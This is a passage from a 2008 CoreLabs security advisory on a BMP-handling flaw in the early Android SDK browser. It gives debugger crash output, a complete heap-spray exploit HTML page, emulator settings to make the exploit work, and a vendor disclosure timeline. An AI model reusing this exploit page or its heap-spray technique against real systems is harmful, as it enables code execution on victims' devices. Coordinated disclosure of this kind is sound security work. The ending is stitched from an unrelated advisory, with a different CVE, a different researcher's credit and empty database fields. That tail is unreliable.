open("badbmp.bmp","wb").write(bmp) - -----------/ Opening the BMP file generated with this script inside a HTML page will cause (sometimes, as it is dependent on an uninitialized variable) the following output of the gdb debugger: /----------- (gdb) attach 1574 attach 1574 Attaching to program: /system/bin/app_process, process 1574 ... 0xafe0d204 in __futex_wait () from /system/lib/libc.so (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? () (gdb) - -----------/ Here the browser process has jumped to the '0x00000000' address because that is the value at 0x00ffffff+0x10. We can change this value using common JavaScript heap-filling techniques. The complete exploit page follows: /----------- <HTML> <HEAD> </HEAD> <BODY> <script type="text/javascript"> // Fill 0x200000 - 0xa00000 with Breakpoints var nop = unescape("%u0001%uef9f"); while (nop.length <= 0x100000/2) nop += nop; var i = 0; for (i = 0;i<5;i++) document.write(nop) // Fill 0xa00000 - 0x1100000 with address 0x00400040 var nop = unescape("%u4000%u4000"); while (nop.length <= 0x100000/2) nop += nop; var i = 0; for (i = 0;i<2;i++) document.write(nop) </script> <IMG src=badbmp.bmp> </BODY> </HTML> - -----------/ Because the exploit needs to fill over 16 MB of heap memory to reach the address '0xffffff' it is very slow and the default memory configuration of Android will often abort the process before reaching the desired point. To overcome this limitation for demonstration purposes one can launch the emulator with this parameters: 'emulator -qemu -m 192' That will launch the Android emulator with 192 megabytes of memory, plenty for the exploit to work. This security bug affects Android SDK m5-rc14 and earlier versions. *Report Timeline* . 2008-01-30: Vendor is notified that possibly exploitable vulnerabilities where discovered and that an advisory draft is available. This affects Android SDK m3-rc37a and earlier versions. 2008-01-30: Vendor acknowledges and requests the draft. 2008-01-31: Core sends the draft encrypted, including PoC code to generate malformed GIF images. 2008-01-31: Vendor acknowledges the draft. 2008-02-02: Vendor notifies that the software is an early release for the open source community, but agree they can fix the problem on the estimated date (2008-02-25). 2008-02-04: Core notifies the vendor that Android is using a vulnerable PNG processing library. 2008-02-08: Vendor acknowledges, invites Core to send any new findings and asks if all findings will be included in the advisory. 2008-02-12: Core responds to vendor that all security issues found will be included in the advisory, the date is subject to coordination. 2008-02-12: Vendor releases version m5-rc14 of the Android SDK. Core receives no notification. 2008-02-13: Core sends the vendor more malformed images, including GIF, PNG and BMP files. Only the BMP file affects the m5-rc14 release. 2008-02-20: Core sends to the vendor a new version of the advisory, including a BMP PoC that runs arbitrary ARM code and informs the vendor that we noticed that the recent m5-rc14 release fixed the GIF and PNG bugs. Publication of CORE-2008-0124 has been re-=scheduled for February 27th. 2008. 2008-02-21: Vendor confirms that the GIF and PNG fixes have been released and provides an official statement to the "Vendor Section" of the advisory. A final review of the advisory is requested before its release. The vendor indicates that the Android SDK is still in development and stabilization won't happen until it gets closer to Alpha. Changes to fix the BMP issue are coming soon, priorities are given to issues listed in the public issue tracking system at http://code.google.com/p/android/issues . 2008-02-26: Core indicates that publication of CORE-2008-0124 has been moved to March 3rd 2008, asks if an estimated date for the BMP fix is available and if Core should file the reported and any future bugs in the public issue tracking page. 2008-02-29: Final draft version of advisory CORE-2008-0124 is sent to the vendor as requested. Core requests for any additional comments or statements to be provided by noon March 3rd, 2008 (UTC-5) . 2008-03-01: Vendor requests publication to be delayed one day in order to publish a new release of Android with a fix to the BMP issue. 2008-03-02: Core agrees to delay publication for one day. 2008-03-03: Vendor releases Android SDK m5-rc15 which fixes the BMP vulnerability. Vendor indicates that Android applications run with the credentials of an unprivileged user which decreases the severity of the issues found . 2008-03-04: Further research by Alfredo Ortega reveals that although the vendor statement is correct current versions of Android SDK ship with a passwordless root account. Unprivileged users with shell access can simply use the 'su' program to gain privileges . 2008-03-04: Advisory CORE-2008-0124 is published. *References* [1] Android Overview - Open Handset Alliance - http://www.openhandsetalliance.com/android_overview.html [2] "Android Comes to Life in Barcelona" - The Washington Post , February 11th, 2008 - http://www.washingtonpost.com/wp-dyn/content/article/2008/02/11/AR2008021101944.html [3] Android Developer Challenge - http://code.google.com/android/adc.html [4] "Test Center Preview: Inside Google's Mobile future" - Inforworld, Feb. 27th 2008 - http://www.infoworld.com/article/08/02/27/09TC-google-android_1.html [5] "'Allo, 'allo, Android" - The Sydney Morning Herald, February 26th, 2008 http://www.smh.com.au/news/biztech/allo-allo-android/2008/02/26/1203788290737.html [6] The Shellcoder's Handbook: Discovering and Exploiting Security Holes by Chris Anley , John Heasman , Felix Linder and Gerardo Richarte. Wiley; 2nd edition (August 20, 2007) - http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html [7] Graphics Interchange Format version 89a - http://www.w3.org/Graphics/GIF/spec-gif89a.txt [8] Android downloads page http://code.google.com/p/android/downloads/list [9] Portable Network Graphics (PNG) specification - http://www.w3.org/TR/PNG/ [10] Bitmap File Structures - http://www.digicamsoft.com/bmp/bmp.html *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/. *About Core Security Technologies* Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com. *Disclaimer* The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. *GPG/PGP Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHzZRwyNibggitWa0RAjbdAJ9YztTFlDK9a3YOxAx5avoXQV5LhgCeMs6I teV3ahcSAUFEtsaRCeXVuN8= =u35s -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ . The Common Vulnerabilities and Exposures (CVE) project assigned the id CVE-2006-5793 [2] to the problem. Follow the instructions on http://openpkg.org/security/signatures/ for details on how to verify the integrity of this advisory

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

input validation

CONFIGURATIONS

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Tavis Ormandy from the Gentoo Linux Security Auditing Team discovered this vulnerability.

SOURCES

LAST UPDATE DATE

2024-11-24T21:10:25.155000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE